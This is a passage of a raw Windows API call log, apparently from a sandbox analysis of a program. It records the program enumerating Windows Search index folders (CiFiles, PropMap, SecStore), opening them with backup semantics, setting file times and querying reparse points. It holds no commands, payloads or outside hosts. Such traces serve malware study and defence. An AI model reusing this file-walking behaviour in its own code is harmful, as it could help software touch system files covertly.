dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAB0001.002", cAlternateFileName="")) returned 1 [0091.755] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29a3d0a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a3d0a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAB0002.000", cAlternateFileName="")) returned 1 [0091.755] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29a3d0a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a3d0a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAB0002.001", cAlternateFileName="")) returned 1 [0091.755] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29a3d0a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a3d0a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAB0002.002", cAlternateFileName="")) returned 1 [0091.755] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x299cac80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x299cac80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x299f0de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAD0001.000", cAlternateFileName="")) returned 1 [0091.755] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x299cac80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x299cac80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x299cac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAD0001.001", cAlternateFileName="")) returned 1 [0091.755] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x299cac80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x299cac80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x299cac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAD0001.002", cAlternateFileName="")) returned 1 [0091.756] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2997e9c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2997e9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x42291130, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDEX.000", cAlternateFileName="")) returned 1 [0091.756] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2997e9c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2997e9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2997e9c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDEX.001", cAlternateFileName="")) returned 1 [0091.756] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2997e9c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2997e9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2997e9c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDEX.002", cAlternateFileName="")) returned 1 [0091.756] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETTINGS.DIA", cAlternateFileName="")) returned 1 [0091.756] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETTINGS.DIA", cAlternateFileName="")) returned 0 [0091.756] GetLastError () returned 0x12 [0091.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135aeb0) returned 1 [0091.756] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0091.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135afb8) returned 1 [0091.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135ada8) returned 1 [0091.757] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a3d0a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiFiles", cAlternateFileName="")) returned 0 [0091.757] GetLastError () returned 0x12 [0091.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135ab98) returned 1 [0091.758] FindClose (in: hFindFile=0x2e9240 | out: hFindFile=0x2e9240) returned 1 [0091.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135aca0) returned 1 [0091.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135aa90) returned 1 [0091.758] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27edd3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PropMap", cAlternateFileName="")) returned 1 [0091.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135aa90 [0091.758] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap"), fInfoLevelId=0x0, lpFileInformation=0x119e0b8 | out: lpFileInformation=0x119e0b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27edd3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.759] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0091.759] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x119e0fc, lpLastWriteTime=0x119e0fc) returned 0 [0091.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.759] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e154, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e154, lpOverlapped=0x0) returned 0 [0091.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.760] NtClose (Handle=0x188) returned 0x0 [0091.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135aa90) returned 1 [0091.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135aa90 [0091.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135aca0 [0091.761] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\*", fInfoLevelId=0x1, lpFindFileData=0x119df04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119df04) returned 0x2e9240 [0091.761] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27edd3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.761] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiPT0000.000", cAlternateFileName="")) returned 1 [0091.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135ab98 [0091.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f76f8 [0091.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135ada8 [0091.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.764] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x27edd3a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27f75920, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiPT0000.001", cAlternateFileName="")) returned 1 [0091.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7718 [0091.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135afb8 [0091.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.766] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x27edd3a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27f75920, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiPT0000.002", cAlternateFileName="")) returned 1 [0091.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7738 [0091.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135aeb0 [0091.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.768] FindNextFileW (in: hFindFile=0x2e9240, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x27edd3a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27f75920, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiPT0000.002", cAlternateFileName="")) returned 0 [0091.768] GetLastError () returned 0x12 [0091.768] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\*", fInfoLevelId=0x1, lpFindFileData=0x119df04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119df04) returned 0x2e9040 [0091.768] FindClose (in: hFindFile=0x2e9240 | out: hFindFile=0x2e9240) returned 1 [0091.768] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27edd3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.768] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiPT0000.000", cAlternateFileName="")) returned 1 [0091.768] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x27edd3a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27f75920, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiPT0000.001", cAlternateFileName="")) returned 1 [0091.768] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x27edd3a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27f75920, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiPT0000.002", cAlternateFileName="")) returned 1 [0091.768] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x27edd3a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27f75920, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiPT0000.002", cAlternateFileName="")) returned 0 [0091.768] GetLastError () returned 0x12 [0091.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135aca0) returned 1 [0091.769] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0091.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135ab98) returned 1 [0091.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135aa90) returned 1 [0091.769] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecStore", cAlternateFileName="")) returned 1 [0091.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135aa90 [0091.770] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore"), fInfoLevelId=0x0, lpFileInformation=0x119e0b8 | out: lpFileInformation=0x119e0b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.770] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\secstore"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0091.770] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e0fc, lpLastWriteTime=0x119e0fc) returned 0 [0091.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.771] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e154, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e154, lpOverlapped=0x0) returned 0 [0091.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.771] NtClose (Handle=0x168) returned 0x0 [0091.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135aa90) returned 1 [0091.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135aa90 [0091.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135ab98 [0091.772] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\SecStore\\*", fInfoLevelId=0x1, lpFindFileData=0x119df04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119df04) returned 0x2e9040 [0091.773] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.773] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x42291130, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiST0000.000", cAlternateFileName="")) returned 1 [0091.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135aca0 [0091.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7758 [0091.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135be28 [0091.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.775] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x420c80b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiST0000.001", cAlternateFileName="")) returned 1 [0091.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.776] 